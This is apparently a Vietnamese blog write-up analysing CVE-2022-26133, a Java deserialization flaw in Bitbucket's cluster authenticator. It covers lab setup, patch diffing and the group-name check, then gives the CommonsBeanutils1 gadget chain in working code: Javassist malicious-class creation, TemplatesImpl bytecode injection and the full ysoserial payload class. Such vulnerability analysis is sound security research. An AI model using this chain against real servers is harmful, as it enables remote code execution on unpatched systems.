# Phân tích CVE-2022-26133 - lỗ hổng Deserialization trong Bitbucket Vì ngồi đọc các chain của ysoserial hơi buồn ngủ nên mình quyết định sẽ tìm các CVE liên quan để thử phân tích. Và tình cờ mình thấy bài này: https://viblo.asia/p/phan-tich-lo-hong-deserialization-trong-bitbucket-cve-2022-26133-W13VMgEGJY7 ## SETUP môi trường Thông tin về lỗ hổng đã được public [tại đây](https://jira.atlassian.com/browse/BSERV-13173). Trong mô tả của lỗ hổng đã đề cập các version chứa lỗi và phiên bản nó được fix: * All 5.x versions >= 5.14.x * All 6.x versions * All 7.x versions < 7.6.14 * All versions 7.7.x through 7.16.x * 7.17.x < 7.17.6 * 7.18.x < 7.18.4 * 7.19.x < 7.19.4 * 7.20.0 Mình chọn version 7.18.3 và tải thêm version 7.18.4 để diff. Để tải bitbucket thì có thể truy cập [link này](https://www.atlassian.com/software/bitbucket/download-archives). Và nhớ tải bản zip nha mn. ![image](https://hackmd.io/_uploads/S1FCM1HS0.png) Trong bài này, mình sử dụng jdk11 và set up mọi thử trên windows. Cần phải set **JAVA_HOME** và **JRE_HOME** thì mới có thể chạy được file start của bitbucket. Tiếp theo là cần phải cài đặt **git** , **postgresql server**. Git thì mọi người có thể cài đặt bất kỳ phiên bản nào. posgresql thì có thể chạy docker hoặc tải bản install về chạy cũng được. ```dockerfile version: '2' services: db: image: postgres:12.8-alpine ports: - 5432:5432 environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence ``` ### DEBUG Để có thể remote debug được thì chỉ cần add thêm dòng sau vào biến **JAVA_OPTS** nằm trong file `_start-webapp.bat` ở thư mục `\atlassian-bitbucket-7.18.3\bin` ```javascript -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ``` ![image](https://hackmd.io/_uploads/ry-BBJSS0.png) Khi đã hoàn tất các bước trên thì chạy file `start-bitbucket.bat` Sau khi chạy xong setup, truy cập vào `http://localhost:7990` để setup web bitbucket. Tiếp theo, mở thư mục cài đặt lên chạy lệnh sau để có toàn bộ lib mà bitbucket sử dụng: ```bash= find . -iname '*.jar' -exec cp {} bitbucket_libs \; ``` Mở intelij lên, add lib vào và thêm cấu hình cho remote debug ![image](https://hackmd.io/_uploads/ryNaU1BHA.png) ## DIFF Theo mô tả trên NVD, lỗ hổng xảy ra ở chức năng `SharedSecretClusterAuthenticator` của Bitbucket, nó nằm ở bitbucket-service-impl.jar. Nên mình sẽ diff file jar của 2 phiên bản: ![image](https://hackmd.io/_uploads/BydPw1HrC.png) `CTRL + N` nhảy ngay đến class chứa sự khác biệt. ![image](https://hackmd.io/_uploads/rkuQd1rH0.png) `CTRL + F12` đến hàm `runMutualChallengeResponse` như trong diff ![image](https://hackmd.io/_uploads/H1J8OkBr0.png) ## Analysis Có thể thấy là hàm `runMutualChallengeResponse` có nhận **ObjectDataInput** từ đầu vào là **ClusterJoinRequest** sau đó thì ObjectDataInput này sẽ được truyền vào hàm **receiveObject()** ![image](https://hackmd.io/_uploads/rk4DKySSC.png) Mà hàm **receiveObject** lại có **readObject()** -> Hoàn toàn có thể Derserialize ![image](https://hackmd.io/_uploads/BydviJSBR.png) Nhưng để **ObjectDataInput** vào được tới **receiveObject** thì cần phải qua được đoạn if: ![image](https://hackmd.io/_uploads/rkexhkBSR.png) Hàm **verifyGroupName** kiểm tra xem input đầu vào có trùng khớp với groupName của hệ thống không. ![image](https://hackmd.io/_uploads/H1HV2JBSA.png) Với groupName được định nghĩa ở hàm khởi tạo như sau: ![image](https://hackmd.io/_uploads/S14c2kSr0.png) Có thể thấy GroupName là groupName của hazelcast. Vào HazelcastClusterInformation.class để xem cấu hình Hazelcast Cluster. HazelcastCluster lấy config từ 1 file NetworkConfig: ![image](https://hackmd.io/_uploads/S1GJC1HBC.png) netcat đến port 5701 của Hazel thì mình thấy nó in ra tên groupName chính là tên của user chạy bitbucker ![image](https://hackmd.io/_uploads/HkIGAySS0.png) > Cứ như là dev của Bitbucket cố tình để lại cái này hòng lấy được CVE vậy Tuy nhiên là nếu nhập thẳng tên user được in ra thì sẽ không được. Mình netcat print ra file mở lên thì thấy thế này ![image](https://hackmd.io/_uploads/rJ2bYmBHA.png) Có một số byte đằng trước, theo mình đọc thì các byte chứa độ dài của name truyền vào ![image](https://hackmd.io/_uploads/SJ3C5XBr0.png) Như vậy là đã có thể bypass qua được đoạn if. Bây giờ tìm cách làm sao để truyền object vào và câu hỏi là phải sử dụng chain nào? Đến đây thì mình thử tự đọc tiếp code nhưng khá bí nên mình đọc tiếp bài ở đầu. Thì tác giả có viết lỗi này xuất phát từ **CVE-2016-10750** và chain được sử dụng là **CommonsBeanutils1** ## Phân tích chain Commons Beanutils 1 Stack frame của chain như sau: ```java PriorityQueue#readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() BeanComparator#compare() PropertyUtils#getProperty TemplatesImpl#getOutputProperties() |TemplatesImpl#newTransformer() |TemplatesImpl#getTransletInstance() |TemplatesImpl#defineTransletClasses() |TransletClassLoader#defineClass() ``` Bắt đầu từ dưới đi lên nhé. Mình nhảy vào **TemplatesImpl** sau đó lướt xuống dưới chút thì thấy class **TrasletClassLoader** ![image](https://hackmd.io/_uploads/HkbO45rS0.png) Trước khi đi vào phương thức **defineClass** của **TransletClassLoader** mình cùng đi tìm hiểu cách mà java bytecode được load. ### Javassist Khi compile một chương trình java với cú pháp ``` javac abc.java ``` thì lúc này file code java sẽ được compile ra file .class (ở dạng bytecode) sau đó sẽ sử dụng command java để chạy bytecode ``` java abc.class ``` file .class này có chứa các class và các interface Javassist ra đời với mục đích giúp người lập trình thao tác với bytecode một cách dễ dàng hơn. Nhờ có javassist mà chúng ta có thể định nghĩa class mới trong runtime và sửa đổi file .class khi JVM tải nó. #### ClassPool ClassPool là một container chứa các CtClass objects. Mỗi instance của CtClass đại diện cho một class. Để lấy được CtClass thì chúng ta sử dụng phương thức **getDefault()** của ClassPool ![image](https://hackmd.io/_uploads/rJkk99SBC.png) **default classpool**: Đây là vùng nhớ mặc định mà JVM (Java Virtual Machine) sử dụng để lưu trữ các lớp (classes) mà nó đã tải. Khi chương trình Java của bạn cần một lớp, JVM sẽ tìm trong "class pool" này để xem lớp đó đã được tải chưa. **system search path** Khi JVM cần tải một class, nó sẽ tìm kiếm các class đó trong một số đường dẫn hệ thống mặc định (còn gọi là system search path) **CLASSPATH** System search path thì thường được chỉ định bởi **classpath** **Classpath** là một tham số trong JVM hoặc Java Compiler. chỉ định vị trí của class và package do người dùng xác định. Tham số này có thể được đặt trong commandline hoặc qua environment variable ```java java -classpath /path/to/classes:/path/to/lib/some-library.jar MyMainClass ``` **Tạo một class độc hại** ```java ClassPool pool = ClassPool.getDefault(); CtClass test = pool.makeClass("Malicious"); ``` Mặc dù đã add vào DefualtClassPool nhưng mà trong trường hợp chương trình chạy trên Tomcat hoặc JBoss, class của user có thể không được tìm thấy. Trong trường hợp này ta cần phải add path bằng cách sau (thường là sẽ add path của class cha muốn kế thừa): ```java pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); ``` Để gắn class kế thừa: ```java test.setSuperclass(pool.get(AbstractTranslet.class.getName())); ``` Tạo một static constructor: ```java CtConstructor constructor = test.makeClassInitializer(); ``` Chèn code java vào đầu class: ```java constructor.insertBefore("System.out.println(\"Hello,Téttt\");"); ``` ![image](https://hackmd.io/_uploads/r1jGeoHS0.png) chạy code có thể thấy là file code đã được lưu trong cùng classpath ### ClassLoader#defineClass defineClass thật ra là một java native method được viết bằng C giúp chuyển đổi byte stream thành một java class hoàn chỉnh trong runtime. Tuy nhiên method defineClass có thuộc tính protected nên phải tạo một subclass kế thừa nó hoặc dùng đến reflection mới có thể sử dụng trực tiếp ![image](https://hackmd.io/_uploads/B1E9biHHR.png) Vì nó là protected do đó ta phải dùng reflect api để gọi đến nó ```java Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method getMethod.setAccessible(true);//access private method getMethod.invoke(ClassLoader.getSystemClassLoader(),"DocHai",bytes,0,bytes.length); ``` **Chú ý**: Khi defineClass được gọi, class object sẽ không được khởi tạo mà chỉ khi ta tự gọi đến constructor của nó (ở đây là newInstance()). Kể cả khi ta đặt initialization code trong static block của class thì vẫn không được thực thi khi definingClass. Vậy nên nếu muốn dùng defineClass để thực thi mã bất kì khi load bytecode ==> phải tìm cách gọi được constructor. ![image](https://hackmd.io/_uploads/rJwGmsBS0.png) > Do ClassLoader#defineClass không thể truy cập trực tiếp nên trong thực tế khó có thể sử dụng trong exploit chain. Nên ta quay lại với chain của bài là TemplatesImpl defineClass nhé ### TransletClassLoader#defineClass() ```java static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { // NOTE: overridden return defineClass(null, b, 0, b.length); } } ``` Do class này không khai báo scope, scope sẽ là "default" ==> Outer class TemplatesImpl có thể truy cập inner class TransletClassLoader member. Ta có thể gọi như sau: ```java new TransletClassLoader(blabla.class.getClassLoader()).defineClass(bytes) ``` CTRL + F thì thấy hàm này được gọi bởi TemplatesImpl#defineTransletClasses ![image](https://hackmd.io/_uploads/BJmbS3BBC.png) Đặt debug trace ngược lại thì **getTransletInstance()** gọi đến defineTransletClasses() ![image](https://hackmd.io/_uploads/S1AsY3BBA.png) Trace tiếp thì **TemplatesImpl#newTransformer()** gọi đến getTransletInstance() **Cần lưu ý chỗ này:** Để tạo chain, cần set 3 private properties là _name, _tfactory và _bytecodes `_name` thì chỉ cần khác null là được `_tfactory` cần là **TransformerFactoryImpl** object do trong **TemplatesImpl#defineTransletClasses()** có gọi đến method **TransformerFactoryImpl#getExternalExtensionsMap()**: ![image](https://hackmd.io/_uploads/rJKE6hrBA.png) `_bytecodes` phải là subclass của **com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet** ![image](https://hackmd.io/_uploads/Bya2p2HH0.png) Từ đây ta có thể inject bytecode bất kì với code sau: ```java TemplatesImpl template = new TemplatesImpl(); Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field _name = temp.getDeclaredField("_name"); _name.setAccessible(true); _name.set(template,"anything"); Field _class = temp.getDeclaredField("_class"); _class.setAccessible(true); _class.set(template,null); Field _bytecodes = temp.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(template,new byte[][]{bytes}); Field _tfactory = temp.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(template,new TransformerFactoryImpl()); template.newTransformer(); ``` Tiếp tục quay lại với chain common Beanutils thôi Ta có **TemplatesImpl#getOutputProperties** có thuộc tính public và gọi đến newTransformer(): ```java public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } } ``` Vậy nếu có chain invoke được getter method getOutputProperties => RCE ### PropertyUtils#getProperty Thư viện Apache Commons Beanutils cung cấp nhiều methods để làm việc với các JavaBeans trong java, trong đó có static method PropertyUtils.getProperty cho phép người dùng gọi getter method của class JavaBeans bất kỳ, ví dụ: ```java PropertyUtils.getProperty(new Person(), "name"); ``` Thì commons-beanutils sẽ tự động tìm getter method từ name attribute -> getName (đơn giản là viết hoa chữ cái đầu xong prefix thêm get) và invoke method đó để lấy giá trị trả về. Ngoài ra PropertyUtils.getProperty còn hỗ trợ đệ quy, vd object a chứa b, b chứa c ==> ```java PropertyUtils.getProperty(a, "b.c"); ``` ### BeanComparator class Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator interface với method compare() gọi đến PropertyUtils.getProperty: ```java public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } } ``` ### PriorityQueue#readObject –> BeanComparator#compare() Phần còn lại của chain, java.util.PriorityQueue là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject() -> Object#compare. Đầu tiên, từ method readObject() gọi sang heapify() ```java private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } ``` Method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array queue và thực thi method siftDown() với 2 tham số là i và queue[i]. Vậy mục tiêu của ta là phải control được các phần tử trong array này. Ctrl+F source code ta có thể tìm thấy 1 public method là add() để add phần tử vào mảng queue: ![image](https://hackmd.io/_uploads/H1bSwRHrR.png) **int i (size >>> 1) - 1** -> chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và queue[0] -> cần add 2 phần tử vào trong siftDown lại có ```java private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } ``` nếu field comparator khác null sẽ sử dụng siftDownUsingComparator(): ```java private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } ``` Tại đây comparator#compare() sẽ được gọi để compare các object trong property queue với nhau. Tổng kết lại ta có full chain như của ysoserial: ```java package org.su18.ysuserial.payloads.gadgets; import java.math.BigInteger; import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; import org.su18.ysuserial.payloads.ObjectPayload; import org.su18.ysuserial.payloads.annotation.Authors; import org.su18.ysuserial.payloads.annotation.Dependencies; import org.su18.ysuserial.payloads.util.Gadgets; import org.su18.ysuserial.payloads.util.Reflections; @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) public class CommonsBeanutils1 implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); Reflections.setFieldValue(comparator, "property", "outputProperties"); Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); return queue; } } ``` ## Nguồn tham khảo va gần như ăn cắp hoàn toàn :V https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/ https://hackmd.io/@devme4f/r1klIM0An#CommonsBeanutils1 https://viblo.asia/p/phan-tich-lo-hong-deserialization-trong-bitbucket-cve-2022-26133-W13VMgEGJY7